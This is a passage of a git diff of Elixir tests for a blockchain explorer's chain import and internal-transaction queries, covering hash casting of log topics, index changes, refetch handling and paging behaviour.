b/apps/explorer/test/explorer/chain/import_test.exs index c5ce4e902402..dad0d7adfd22 100644 --- a/apps/explorer/test/explorer/chain/import_test.exs +++ b/apps/explorer/test/explorer/chain/import_test.exs @@ -12,6 +12,7 @@ defmodule Explorer.Chain.ImportTest do Log, Hash, Import, + InternalTransaction, PendingBlockOperation, Token, TokenTransfer, @@ -19,12 +20,20 @@ defmodule Explorer.Chain.ImportTest do } alias Explorer.Chain.Events.Subscriber + alias Explorer.Utility.MissingBlockRange @moduletag :capturelog + @first_topic_hex_string "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + @second_topic_hex_string "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + @third_topic_hex_string "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d" + doctest Import describe "all/1" do + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(@first_topic_hex_string) + {:ok, second_topic} = Explorer.Chain.Hash.Full.cast(@second_topic_hex_string) + {:ok, third_topic} = Explorer.Chain.Hash.Full.cast(@third_topic_hex_string) # set :timeout options to cover lines that use the timeout override when available @import_data %{ blocks: %{ @@ -53,7 +62,8 @@ defmodule Explorer.Chain.ImportTest do block_number: 37, transaction_index: 0, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - index: 0, + # transaction with index 0 is ignored in Nethermind JSON RPC Variant and not ignored in case of Geth + index: 1, trace_address: [], type: "call", call_type: "call", @@ -69,7 +79,7 @@ defmodule Explorer.Chain.ImportTest do block_number: 37, transaction_index: 1, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - index: 1, + index: 2, trace_address: [0], type: "call", call_type: "call", @@ -91,13 +101,12 @@ defmodule Explorer.Chain.ImportTest do block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", - first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - second_topic: "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - third_topic: "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, fourth_topic: nil, index: 0, - transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - type: "mined" + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" } ], timeout: 5 @@ -157,6 +166,8 @@ defmodule Explorer.Chain.ImportTest do from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", to_address_hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + token_type: "ERC-20", + token: %{type: "ERC-20"}, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" } ], @@ -165,6 +176,9 @@ defmodule Explorer.Chain.ImportTest do } test "with valid data" do + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(@first_topic_hex_string) + {:ok, second_topic} = Explorer.Chain.Hash.Full.cast(@second_topic_hex_string) + {:ok, third_topic} = Explorer.Chain.Hash.Full.cast(@third_topic_hex_string) difficulty = Decimal.new(340_282_366_920_938_463_463_374_607_431_768_211_454) total_difficulty = Decimal.new(12_590_447_576_074_723_148_144_860_474_975_121_280_509) token_transfer_amount = Decimal.new(1_000_000_000_000_000_000) @@ -260,6 +274,15 @@ defmodule Explorer.Chain.ImportTest do <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> } + }, + %{ + index: 2, + transaction_hash: %Hash{ + byte_count: 32, + bytes: + <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, 77, 57, + 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> + } } ], logs: [ @@ -276,9 +299,9 @@ defmodule Explorer.Chain.ImportTest do 167, 100, 0, 0>> }, index: 0, - first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - second_topic: "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - third_topic: "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + first_topic: ^first_topic, + second_topic: ^second_topic, + third_topic: ^third_topic, fourth_topic: nil, transaction_hash: %Hash{ byte_count: 32, @@ -286,7 +309,6 @@ defmodule Explorer.Chain.ImportTest do <<83, 189, 136, 72, 114, 222, 62, 72, 134, 146, 136, 27, 174, 236, 38, 46, 123, 149, 35, 77, 57, 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> }, - type: "mined", inserted_at: %{}, updated_at: %{} } @@ -344,12 +366,38 @@ defmodule Explorer.Chain.ImportTest do 101, 36, 140, 57, 254, 153, 47, 255, 212, 51, 229>> }, inserted_at: %{}, - updated_at: %{} + updated_at: %{}, + token_type: "ERC-20" } ] }} = Import.all(@import_data) end + test "refetch_needed is set if there was an exception in further steps" do + not_existing_block_hash = "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471db" + + incorrect_data = + update_in(@import_data, [:logs, :params], fn params -> + [params |> Enum.at(0) |> Map.put(:block_hash, not_existing_block_hash)] + end) + + Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, :auto) + + on_exit(fn -> + Repo.delete_all(Address) + Repo.delete_all(Transaction) + Repo.delete_all(InternalTransaction) + Repo.delete_all(TokenTransfer) + Repo.delete_all(Token) + Repo.delete_all(MissingBlockRange) + Repo.delete_all(Block) + end) + + assert_raise(Postgrex.Error, fn -> Import.all(incorrect_data) end) + assert [] = Repo.all(Log) + assert %{consensus: true, refetch_needed: true} = Repo.one(Block) + end + test "inserts a token_balance" do params = %{ addresses: %{ @@ -481,7 +529,8 @@ defmodule Explorer.Chain.ImportTest do Subscriber.to(:internal_transactions, :realtime) Import.all(@import_data) - assert_receive {:chain_event, :internal_transactions, :realtime, [%{transaction_hash: _, index: _}]} + assert_receive {:chain_event, :internal_transactions, :realtime, + [%{transaction_hash: _, index: _}, %{transaction_hash: _, index: _}]} end test "publishes transactions data to subscribers on insert" do @@ -620,7 +669,7 @@ defmodule Explorer.Chain.ImportTest do } } - internal_txs_options = %{ + internal_transactions_options = %{ internal_transactions: %{ params: [ %{ @@ -645,14 +694,19 @@ defmodule Explorer.Chain.ImportTest do } } + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + assert {:ok, _} = Import.all(options) {:ok, block_hash_casted} = Explorer.Chain.Hash.Full.cast(block_hash) - assert [^block_hash_casted] = Explorer.Repo.all(PendingBlockOperation.block_hashes(:fetch_internal_transactions)) + assert [^block_hash_casted] = Explorer.Repo.all(PendingBlockOperation.block_hashes()) - assert {:ok, _} = Import.all(internal_txs_options) + assert {:ok, _} = Import.all(internal_transactions_options) - assert [] == Explorer.Repo.all(PendingBlockOperation.block_hashes(:fetch_internal_transactions)) + assert [] == Explorer.Repo.all(PendingBlockOperation.block_hashes()) end test "blocks with simple coin transfers updates PendingBlockOperation status" do @@ -711,7 +765,7 @@ defmodule Explorer.Chain.ImportTest do } } - internal_txs_options = %{ + internal_transactions_options = %{ internal_transactions: %{ params: [ %{ @@ -735,14 +789,19 @@ defmodule Explorer.Chain.ImportTest do } } + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + assert {:ok, _} = Import.all(options) {:ok, block_hash_casted} = Explorer.Chain.Hash.Full.cast(block_hash) - assert [^block_hash_casted] = Explorer.Repo.all(PendingBlockOperation.block_hashes(:fetch_internal_transactions)) + assert [^block_hash_casted] = Explorer.Repo.all(PendingBlockOperation.block_hashes()) - assert {:ok, _} = Import.all(internal_txs_options) + assert {:ok, _} = Import.all(internal_transactions_options) - assert [] == Explorer.Repo.all(PendingBlockOperation.block_hashes(:fetch_internal_transactions)) + assert [] == Explorer.Repo.all(PendingBlockOperation.block_hashes()) end test "when the transaction has no to_address and an internal transaction with type create it populates the denormalized created_contract_address_hash" do diff --git a/apps/explorer/test/explorer/chain/internal_transaction_test.exs b/apps/explorer/test/explorer/chain/internal_transaction_test.exs index 54a1b9f5b164..a6914eb064a9 100644 --- a/apps/explorer/test/explorer/chain/internal_transaction_test.exs +++ b/apps/explorer/test/explorer/chain/internal_transaction_test.exs @@ -1,10 +1,9 @@ defmodule Explorer.Chain.InternalTransactionTest do use Explorer.DataCase - alias Explorer.Chain.{Data, InternalTransaction, Wei} - alias Explorer.Factory - - import EthereumJSONRPC, only: [integer_to_quantity: 1] + alias Explorer.Chain.{Address, Block, InternalTransaction, Transaction} + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.PagingOptions doctest InternalTransaction @@ -58,187 +57,1123 @@ defmodule Explorer.Chain.InternalTransactionTest do assert Repo.insert(changeset) end + + test "with stop type" do + transaction = insert(:transaction) + + changeset = + InternalTransaction.changeset(%InternalTransaction{}, %{ + from_address_hash: "0x0000000000000000000000000000000000000000", + gas: 0, + gas_used: 22234, + index: 0, + input: "0x", + trace_address: [], + transaction_hash: transaction.hash, + transaction_index: 0, + type: "stop", + error: "execution stopped", + value: 0, + block_number: 35, + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + block_index: 0 + }) + + assert changeset.valid? + end end - defp call_type(opts) do - defaults = [ - type: :call, - call_type: :call, - to_address_hash: Factory.address_hash(), - from_address_hash: Factory.address_hash(), - input: Factory.transaction_input(), - output: Factory.transaction_input(), - gas: Decimal.new(50_000), - gas_used: Decimal.new(25_000), - value: %Wei{value: 100}, - index: 0, - trace_address: [] - ] - - struct!(InternalTransaction, Keyword.merge(defaults, opts)) + describe "transaction_to_internal_transactions/1" do + test "with transaction without internal transactions" do + transaction = insert(:transaction) + + assert [] = InternalTransaction.transaction_to_internal_transactions(transaction.hash) + end + + test "with transaction with internal transactions returns all internal transactions for a given transaction hash excluding parent trace" do + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + first = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + second = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_hash: transaction.block_hash, + block_index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index + ) + + results = [internal_transaction | _] = InternalTransaction.transaction_to_internal_transactions(transaction.hash) + + # excluding of internal transactions with type=call and index=0 + assert 1 == length(results) + + assert Enum.all?( + results, + &({&1.transaction_hash, &1.index} in [ + {first.transaction_hash, first.index}, + {second.transaction_hash, second.index} + ]) + ) + + assert internal_transaction.block_number == block.number + end + + test "with transaction with internal transactions loads associations with in necessity_by_association" do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction_create, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + assert [ + %InternalTransaction{ + from_address: %Ecto.Association.NotLoaded{}, + to_address: %Ecto.Association.NotLoaded{}, + transaction: %Ecto.Association.NotLoaded{} + } + ] = InternalTransaction.transaction_to_internal_transactions(transaction.hash) + + assert [ + %InternalTransaction{ + from_address: %Address{}, + to_address: nil, + transaction: %Transaction{block: %Block{}} + } + ] = + InternalTransaction.transaction_to_internal_transactions( + transaction.hash, + necessity_by_association: %{ + :from_address => :optional, + :to_address => :optional, + [transaction: :block] => :optional + } + ) + end + + test "excludes internal transaction of type call with no siblings in the transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + result = InternalTransaction.transaction_to_internal_transactions(transaction.hash) + + assert Enum.empty?(result) + end + + test "includes internal transactions of type `create` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction_create, + index: 0, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "includes internal transactions of type `reward` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction, + index: 0, + transaction: transaction, + type: :reward, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "includes internal transactions of type `selfdestruct` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction, + index: 0, + transaction: transaction, + gas: nil, + type: :selfdestruct, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "returns the internal transactions in ascending index order" do + transaction = + :transaction + |> insert() + |> with_block() + + %InternalTransaction{transaction_hash: _, index: _} = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: transaction_hash_1, index: index_1} = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: transaction_hash_2, index: index_2} = + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 2, + transaction_index: transaction.index + ) + + result = + transaction.hash + |> InternalTransaction.transaction_to_internal_transactions() + |> Enum.map(&{&1.transaction_hash, &1.index}) + + # excluding of internal transactions with type=call and index=0 + assert [{transaction_hash_1, index_1}, {transaction_hash_2, index_2}] == result + end + + test "pages by index" do + transaction = + :transaction + |> insert() + |> with_block() + + %InternalTransaction{transaction_hash: _, index: _} = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 2, + transaction_index: transaction.index + ) + + assert [{second_transaction_hash, second_index}, {third_transaction_hash, third_index}] == + transaction.hash + |> InternalTransaction.transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {-1}, page_size: 2} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [{second_transaction_hash, second_index}] == + transaction.hash + |> InternalTransaction.transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {-1}, page_size: 1} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [{third_transaction_hash, third_index}] == + transaction.hash + |> InternalTransaction.transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {1}, page_size: 2} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + end end - defp create_type(opts) do - defaults = [ - type: :create, - from_address_hash: Factory.address_hash(), - gas: Decimal.new(50_000), - gas_used: Decimal.new(25_000), - value: %Wei{value: 100}, - index: 0, - init: Factory.transaction_input(), - trace_address: [] - ] - - struct!(InternalTransaction, Keyword.merge(defaults, opts)) + describe "all_transaction_to_internal_transactions/1" do + test "with transaction without internal transactions" do + transaction = insert(:transaction) + + assert [] = InternalTransaction.all_transaction_to_internal_transactions(transaction.hash) + end + + test "with transaction with internal transactions returns all internal transactions for a given transaction hash" do + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + first = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + second = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_hash: transaction.block_hash, + block_index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index + ) + + results = + [internal_transaction | _] = InternalTransaction.all_transaction_to_internal_transactions(transaction.hash) + + assert 2 == length(results) + + assert Enum.all?( + results, + &({&1.transaction_hash, &1.index} in [ + {first.transaction_hash, first.index}, + {second.transaction_hash, second.index} + ]) + ) + + assert internal_transaction.block_number == block.number + end + + test "with transaction with internal transactions loads associations with in necessity_by_association" do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction_create, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + assert [ + %InternalTransaction{ + from_address: %Ecto.Association.NotLoaded{}, + to_address: %Ecto.Association.NotLoaded{}, + transaction: %Ecto.Association.NotLoaded{} + } + ] = InternalTransaction.all_transaction_to_internal_transactions(transaction.hash) + + assert [ + %InternalTransaction{ + from_address: %Address{}, + to_address: nil, + transaction: %Transaction{block: %Block{}} + } + ] = + InternalTransaction.all_transaction_to_internal_transactions( + transaction.hash, + necessity_by_association: %{ + :from_address => :optional, + :to_address => :optional, + [transaction: :block] => :optional + } + ) + end + + test "not excludes internal transaction of type call with no siblings in the transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + result = InternalTransaction.all_transaction_to_internal_transactions(transaction.hash) + + assert Enum.empty?(result) == false + end + + test "includes internal transactions of type `create` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction_create, + index: 0, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.all_transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "includes internal transactions of type `reward` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction, + index: 0, + transaction: transaction, + type: :reward, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.all_transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "includes internal transactions of type `selfdestruct` even when they are alone in the parent transaction" do + transaction = + :transaction + |> insert() + |> with_block() + + expected = + insert(:internal_transaction, + index: 0, + transaction: transaction, + gas: nil, + type: :selfdestruct, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.all_transaction_to_internal_transactions(transaction.hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end + + test "returns the internal transactions in ascending index order" do + transaction = + :transaction + |> insert() + |> with_block() + + %InternalTransaction{transaction_hash: transaction_hash, index: index} = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + result = + transaction.hash + |> InternalTransaction.all_transaction_to_internal_transactions() + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [{transaction_hash, index}, {second_transaction_hash, second_index}] == result + end + + test "pages by index" do + transaction = + :transaction + |> insert() + |> with_block() + + %InternalTransaction{transaction_hash: transaction_hash, index: index} = + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 2, + transaction_index: transaction.index + ) + + assert [{transaction_hash, index}, {second_transaction_hash, second_index}] == + transaction.hash + |> InternalTransaction.all_transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {-1}, page_size: 2} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [{transaction_hash, index}] == + transaction.hash + |> InternalTransaction.all_transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {-1}, page_size: 1} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [{third_transaction_hash, third_index}] == + transaction.hash + |> InternalTransaction.all_transaction_to_internal_transactions( + paging_options: %PagingOptions{key: {1}, page_size: 2} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + end end - defp selfdestruct_type(opts) do - defaults = [ - type: :selfdestruct, - from_address_hash: Factory.address_hash(), - to_address_hash: Factory.address_hash(), - gas: Decimal.new(50_000), - gas_used: Decimal.new(25_000), - value: %Wei{value: 100}, - index: 0, - trace_address: [] - ] - - struct!(InternalTransaction, Keyword.merge(defaults, opts)) + describe "address_to_internal_transactions/1" do + test "with single transaction containing two internal transactions" do + address = insert(:address) + + block = insert(:block, number: 2000) + + transaction = + :transaction + |> insert() + |> with_block(block) + + %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = + insert(:internal_transaction, + index: 1, + transaction: transaction, + to_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert(:internal_transaction, + index: 2, + transaction: transaction, + to_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 2, + transaction_index: transaction.index + ) + + result = + address.hash + |> InternalTransaction.address_to_internal_transactions() + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert Enum.member?(result, {first_transaction_hash, first_index}) + assert Enum.member?(result, {second_transaction_hash, second_index}) + end + + test "loads associations in necessity_by_association" do + %Address{hash: address_hash} = address = insert(:address) + block = insert(:block, number: 2000) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert(:internal_transaction, + transaction: transaction, + to_address: address, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + insert(:internal_transaction, + transaction: transaction, + to_address: address, + index: 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + assert [ + %InternalTransaction{ + from_address: %Ecto.Association.NotLoaded{}, + to_address: %Ecto.Association.NotLoaded{}, + transaction: %Ecto.Association.NotLoaded{} + } + | _ + ] = InternalTransaction.address_to_internal_transactions(address_hash) + + assert [ + %InternalTransaction{ + from_address: %Address{}, + to_address: %Address{}, + transaction: %Transaction{} + } + | _ + ] = + InternalTransaction.address_to_internal_transactions( + address_hash, + necessity_by_association: %{ + [from_address: :names] => :optional, + [to_address: :names] => :optional, + :transaction => :optional + } + ) + end + + test "returns results in reverse chronological order by block number, transaction index, internal transaction index" do + address = insert(:address) + + block = insert(:block, number: 7000) + + pending_transaction = + :transaction + |> insert() + |> with_block(block) + + %InternalTransaction{transaction_hash: first_pending_transaction_hash, index: first_pending_index} = + insert( + :internal_transaction, + transaction: pending_transaction, + to_address: address, + index: 1, + block_number: pending_transaction.block_number, + block_hash: pending_transaction.block_hash, + block_index: 1, + transaction_index: pending_transaction.index + ) + + %InternalTransaction{transaction_hash: second_pending_transaction_hash, index: second_pending_index} = + insert( + :internal_transaction, + transaction: pending_transaction, + to_address: address, + index: 2, + block_number: pending_transaction.block_number, + block_hash: pending_transaction.block_hash, + block_index: 2, + transaction_index: pending_transaction.index + ) + + a_block = insert(:block, number: 2000) + + first_a_transaction = + :transaction + |> insert() + |> with_block(a_block) + + %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = + insert( + :internal_transaction, + transaction: first_a_transaction, + to_address: address, + index: 1, + block_number: first_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 1, + transaction_index: first_a_transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert( + :internal_transaction, + transaction: first_a_transaction, + to_address: address, + index: 2, + block_number: first_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 2, + transaction_index: first_a_transaction.index + ) + + second_a_transaction = + :transaction + |> insert() + |> with_block(a_block) + + %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = + insert( + :internal_transaction, + transaction: second_a_transaction, + to_address: address, + index: 1, + block_number: second_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 4, + transaction_index: second_a_transaction.index + ) + + %InternalTransaction{transaction_hash: fourth_transaction_hash, index: fourth_index} = + insert( + :internal_transaction, + transaction: second_a_transaction, + to_address: address, + index: 2, + block_number: second_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 5, + transaction_index: second_a_transaction.index + ) + + b_block = insert(:block, number: 6000) + + first_b_transaction = + :transaction + |> insert() + |> with_block(b_block) + + %InternalTransaction{transaction_hash: fifth_transaction_hash, index: fifth_index} = + insert( + :internal_transaction, + transaction: first_b_transaction, + to_address: address, + index: 1, + block_number: first_b_transaction.block_number, + block_hash: b_block.hash, + block_index: 1, + transaction_index: first_b_transaction.index + ) + + %InternalTransaction{transaction_hash: sixth_transaction_hash, index: sixth_index} = + insert( + :internal_transaction, + transaction: first_b_transaction, + to_address: address, + index: 2, + block_number: first_b_transaction.block_number, + block_hash: b_block.hash, + block_index: 2, + transaction_index: first_b_transaction.index + ) + + result = + address.hash + |> InternalTransaction.address_to_internal_transactions() + |> Enum.map(&{&1.transaction_hash, &1.index}) + + assert [ + {second_pending_transaction_hash, second_pending_index}, + {first_pending_transaction_hash, first_pending_index}, + {sixth_transaction_hash, sixth_index}, + {fifth_transaction_hash, fifth_index}, + {fourth_transaction_hash, fourth_index}, + {third_transaction_hash, third_index}, + {second_transaction_hash, second_index}, + {first_transaction_hash, first_index} + ] == result + end + + test "pages by {block_number, transaction_index, index}" do + address = insert(:address) + + pending_transaction = insert(:transaction) + + old_block = insert(:block, consensus: false) + + insert( + :internal_transaction, + transaction: pending_transaction, + to_address: address, + block_hash: old_block.hash, + block_index: 1, + index: 1 + ) + + insert( + :internal_transaction, + transaction: pending_transaction, + to_address: address, + block_hash: old_block.hash, + block_index: 2, + index: 2 + ) + + a_block = insert(:block, number: 2000) + + first_a_transaction = + :transaction + |> insert() + |> with_block(a_block) + + %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = + insert( + :internal_transaction, + transaction: first_a_transaction, + to_address: address, + index: 1, + block_number: first_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 1, + transaction_index: first_a_transaction.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert( + :internal_transaction, + transaction: first_a_transaction, + to_address: address, + index: 2, + block_number: first_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 2, + transaction_index: first_a_transaction.index + ) + + second_a_transaction = + :transaction + |> insert() + |> with_block(a_block) + + %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = + insert( + :internal_transaction, + transaction: second_a_transaction, + to_address: address, + index: 1, + block_number: second_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 4, + transaction_index: second_a_transaction.index + ) + + %InternalTransaction{transaction_hash: fourth_transaction_hash, index: fourth_index} = + insert( + :internal_transaction, + transaction: second_a_transaction, + to_address: address, + index: 2, + block_number: second_a_transaction.block_number, + block_hash: a_block.hash, + block_index: 5, + transaction_index: second_a_transaction.index + ) + + b_block = insert(:block, number: 6000) + + first_b_transaction = + :transaction + |> insert() + |> with_block(b_block) + + %InternalTransaction{transaction_hash: fifth_transaction_hash, index: fifth_index} = + insert( + :internal_transaction, + transaction: first_b_transaction, + to_address: address, + index: 1, + block_number: first_b_transaction.block_number, + block_hash: b_block.hash, + block_index: 1, + transaction_index: first_b_transaction.index + ) + + %InternalTransaction{transaction_hash: sixth_transaction_hash, index: sixth_index} = + insert( + :internal_transaction, + transaction: first_b_transaction, + to_address: address, + index: 2, + block_number: first_b_transaction.block_number, + block_hash: b_block.hash, + block_index: 2, + transaction_index: first_b_transaction.index + ) + + # When paged, internal transactions need an associated block 